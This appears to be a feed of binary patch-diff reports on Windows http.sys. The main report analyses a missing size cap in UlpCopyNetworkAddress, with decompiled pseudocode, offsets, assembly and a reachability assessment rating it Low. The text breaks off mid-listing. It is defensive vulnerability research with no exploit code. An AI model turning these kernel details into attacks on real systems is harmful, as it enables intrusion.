&lt;li&gt;&lt;em&gt;Cosmetic/behavioral.&lt;/em&gt; SSL handshake transport-indication buffer copy; variable-allocation churn with the buffer-management (&lt;code&gt;memmove&lt;/code&gt;) structure preserved.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; None.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; None.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Note: The patch updates existing helper and dispatch routines and introduces the &lt;code&gt;UxKirNewUma&lt;/code&gt; feature flag rather than adding new exported functions. Function addresses shift between the two builds (for example &lt;code&gt;UlGenerateTrailers&lt;/code&gt; moves from 0x14009DE00 to 0x14009EEA0, and 0x140121DD0 is reused by an unrelated ETW helper in the patched binary), so matching is anchored by symbol name.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High on the mechanism; the diff consistently shows direct user-mode dereferences supplemented by a new safe-capture path (&lt;code&gt;RtlReadUShortFromUser&lt;/code&gt; / &lt;code&gt;RtlReadULongFromUser&lt;/code&gt; / &lt;code&gt;RtlReadULong64FromUser&lt;/code&gt;, &lt;code&gt;RtlCopyFromUser&lt;/code&gt; / &lt;code&gt;RtlCopyVolatileMemory&lt;/code&gt;), added alignment checks (&lt;code&gt;UxProbeAlignment&lt;/code&gt; / &lt;code&gt;base &amp;amp; 7&lt;/code&gt;), and probe-and-copy (&lt;code&gt;UxTryProbeAndCopyAnsiStringFromMode&lt;/code&gt;), all gated by the new &lt;code&gt;UxKirNewUma&lt;/code&gt; flag and absent from the unpatched build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nature and Severity:&lt;/strong&gt; This is defense-in-depth user-mode-read hardening, not the fix for a demonstrable exploitable bug. In both builds the trailer/header string data is probed and the copy lengths are bounds-checked, so no out-of-bounds write or attacker-sized copy is reachable, and the double-read of the name length is two adjacent loads with a negligible race window. Because the change is a Known-Issue-Rollback, the unpatched direct-read code is retained in the patched binary and runs whenever the flag is disabled. Severity is therefore Low and local.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scope Notes:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The affected routines are on the response-send and channel-binding-capture paths; the input is supplied by the local user-mode caller of the HTTP Server API, so any exposure is local, not remote.&lt;/li&gt;
&lt;li&gt;The write-side length checks (&lt;code&gt;if (len &amp;gt; remaining) break&lt;/code&gt;), the string-data probes, and the WOW64 32-bit/64-bit stride selection (&lt;code&gt;IoIs32bitProcess&lt;/code&gt;) are present in both builds; the patch does not introduce them.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>http.sys — Missing destination size cap on network-address copy in UlpCopyNetworkAddress (CWE-787) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/http_d4a73c1e-http-report-20260629-125905.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/http_d4a73c1e-http-report-20260629-125905.html</id><summary type="html">&lt;p&gt;KB5089549&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;http_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;http_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9843&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;4399&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;4316&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched / patched)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds a missing destination-size cap in &lt;code&gt;UlpCopyNetworkAddress&lt;/code&gt;
(unpatched &lt;code&gt;0x14009BE80&lt;/code&gt;, patched &lt;code&gt;0x14009B990&lt;/code&gt;). This routine copies the connection's
stored network addresses (two &lt;code&gt;SOCKADDR&lt;/code&gt; fields on the connection object) into the
marshalled &lt;code&gt;HTTP_REQUEST&lt;/code&gt; output buffer. The copy length is taken from the
address-family–indexed &lt;code&gt;sockaddr_size&lt;/code&gt; table. The unpatched build validates only that the
two fixed 0x20-byte destination slots fit inside the output buffer; it never checks that the
per-address length is &lt;code&gt;&amp;lt;= 0x20&lt;/code&gt;. The patch adds that check and returns
&lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; when the length exceeds 0x20. Only two address families in the
table (AF_UNIX = 0x6e bytes, Hyper-V/HV = 0x24 bytes) exceed 0x20; standard TCP/IP
connections (AF_INET = 0x10, AF_INET6 = 0x1c) do not. The stored address family is set by the
transport at accept time and is not selected by HTTP request content, so an oversized copy is
not demonstrably reachable from a crafted request. This is a genuine bounds-check hardening of
an out-of-bounds write path; severity is Low on demonstrable reachability.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Missing size cap in &lt;code&gt;UlpCopyNetworkAddress&lt;/code&gt; (SOCKADDR copy into the request buffer)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Out-of-bounds Write / Buffer Copy Without Checking Size of Input (CWE-787 / CWE-120)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;UlpCopyNetworkAddress&lt;/code&gt; — unpatched &lt;code&gt;0x14009BE80&lt;/code&gt;, patched &lt;code&gt;0x14009B990&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;UlpCopyNetworkAddress&lt;/code&gt; copies two &lt;code&gt;SOCKADDR&lt;/code&gt; structures from the connection object into a
caller-supplied output buffer (&lt;code&gt;a6&lt;/code&gt;), laid out as two adjacent 0x20-byte slots: bytes &lt;code&gt;0..0x1f&lt;/code&gt;
and &lt;code&gt;0x20..0x3f&lt;/code&gt;. The connection object pointer is &lt;code&gt;a1&lt;/code&gt;; the address block is &lt;code&gt;*(a1 + 0x18)&lt;/code&gt;;
the two source addresses are at block offsets &lt;code&gt;+0x180&lt;/code&gt; and &lt;code&gt;+0x19c&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The copy length comes from the &lt;code&gt;sockaddr_size&lt;/code&gt; table (unpatched at &lt;code&gt;0x14018a040&lt;/code&gt;, patched at
&lt;code&gt;0x140187000&lt;/code&gt;; the table bytes are identical between builds). It is indexed by the stored
address family, a 16-bit field read from &lt;code&gt;*(uint16*)(*(a1 + 0x18) + 0x180)&lt;/code&gt; (the &lt;code&gt;sa_family&lt;/code&gt;
of the first stored address), with indices &lt;code&gt;&amp;gt;= 0x23&lt;/code&gt; folded to entry 0.&lt;/p&gt;
&lt;p&gt;The unpatched code checks only that the destination window fits the output buffer:
&lt;code&gt;a6 + 0x20 &amp;lt;= (a2 + a4)&lt;/code&gt; and &lt;code&gt;a6 + 0x40 &amp;lt;= (a2 + a4)&lt;/code&gt;, where &lt;code&gt;a2 + a4&lt;/code&gt; is the end of the output
buffer. It never checks that the copy length is &lt;code&gt;&amp;lt;= 0x20&lt;/code&gt;. Both copies use that length, so if
the length exceeds 0x20 the first copy (to &lt;code&gt;a6 + 0x20&lt;/code&gt;) writes past the second slot and the
second copy (to &lt;code&gt;a6&lt;/code&gt;) writes past &lt;code&gt;a6 + 0x40&lt;/code&gt;, into whatever follows in the output buffer.&lt;/p&gt;
&lt;p&gt;The copies are performed by &lt;code&gt;RtlCopyToUser&lt;/code&gt; (when the copy-to-user flag &lt;code&gt;a5&lt;/code&gt; is set) or by
&lt;code&gt;RtlCopyVolatileMemory&lt;/code&gt; (kernel-to-kernel copy) — not by a general &lt;code&gt;memcpy&lt;/code&gt; shim. The two
callers, &lt;code&gt;UlpDeepCopyRequest&lt;/code&gt; (&lt;code&gt;0x140116354&lt;/code&gt;) and &lt;code&gt;UlpDeepCopyRequest32&lt;/code&gt; (&lt;code&gt;0x1401166d8&lt;/code&gt;),
propagate the copy-to-user flag, so the destination is the &lt;code&gt;HTTP_REQUEST&lt;/code&gt; receive buffer,
which may be a user-mode buffer or a kernel copy of it.&lt;/p&gt;
&lt;p&gt;The patch adds the length check &lt;code&gt;size &amp;gt; 0x20&lt;/code&gt; to the reject condition and returns
&lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; (&lt;code&gt;0xC000000D&lt;/code&gt;) when it fails. The length is also handled as a
16-bit value.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachability:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The copy length only exceeds 0x20 for two table entries: index 1 (AF_UNIX, &lt;code&gt;0x6e&lt;/code&gt; = 110 bytes)
and index 0x22 (Hyper-V socket, &lt;code&gt;0x24&lt;/code&gt; = 36 bytes). Every other entry is &lt;code&gt;&amp;lt;= 0x1c&lt;/code&gt;. The index
is the address family of the connection's stored transport address, established when the
connection is accepted; it is not derived from HTTP headers, method, URL, content-type, or any
request content. For a standard TCP/IP HTTP listener the family is AF_INET or AF_INET6, whose
sizes (0x10 / 0x1c) are already within a slot, so the guarded overflow path is not exercised.
Triggering an oversized length would require &lt;code&gt;http.sys&lt;/code&gt; to service a connection over an AF_UNIX
or Hyper-V-socket transport; that is not demonstrable from these binaries. The change is
therefore a defensive size cap (defense-in-depth against an unexpected address family) rather
than a demonstrably remotely-reachable overflow.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED UlpCopyNetworkAddress @ 0x14009BE80 ===&lt;/span&gt;
&lt;span class="c1"&gt;// af = sa_family of the first stored address&lt;/span&gt;
&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x180&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x23&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sockaddr_size&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sockaddr_size&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// copy length, NO upper bound&lt;/span&gt;
&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// end of output buffer&lt;/span&gt;
&lt;span class="c1"&gt;// Only the destination-window fit is checked; length is not capped:&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000000D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="c1"&gt;// slot 1 (a6+0x20) &amp;lt;- address at block+0x19c, length v14  (OOB if v14 &amp;gt; 0x20)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlCopyToUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x19c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlCopyVolatileMemory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x19c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// slot 0 (a6) &amp;lt;- address at block+0x180, length v14        (OOB if v14 &amp;gt; 0x20)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlCopyToUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x180&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlCopyVolatileMemory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x180&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED UlpCopyNetworkAddress @ 0x14009B990 ===&lt;/span&gt;
&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x23&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sockaddr_size&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sockaddr_size&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// v12 is 16-bit&lt;/span&gt;
&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// FIX: length now capped to 0x20 alongside the window-fit checks:&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000000D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="c1"&gt;// same two copies, but v12 is now guaranteed &amp;lt;= 0x20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key deltas:&lt;/strong&gt;
- New guard &lt;code&gt;v12 &amp;gt; 0x20&lt;/code&gt; folded into the existing reject condition — the security fix.
- Copy length handled as a 16-bit value (&lt;code&gt;si&lt;/code&gt;) rather than a 64-bit value.
- No other behavioral change; the two &lt;code&gt;SOCKADDR&lt;/code&gt; copies and the copy-to-user/kernel selection
  are unchanged.
- The &lt;code&gt;sockaddr_size&lt;/code&gt; table was relocated (&lt;code&gt;0x14018a040&lt;/code&gt; → &lt;code&gt;0x140187000&lt;/code&gt;) with identical
  contents; the relocation is build churn, not part of the fix.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;p&gt;Instructions below are copied from the disassembly of the named functions at the stated
addresses.&lt;/p&gt;
&lt;h3&gt;Unpatched vulnerable path (&lt;code&gt;UlpCopyNetworkAddress&lt;/code&gt; @ &lt;code&gt;0x14009BE80&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BEB9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; r12 = rcx+0x18 (address block)&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BEBD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; sa_family of first stored address&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BEC4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
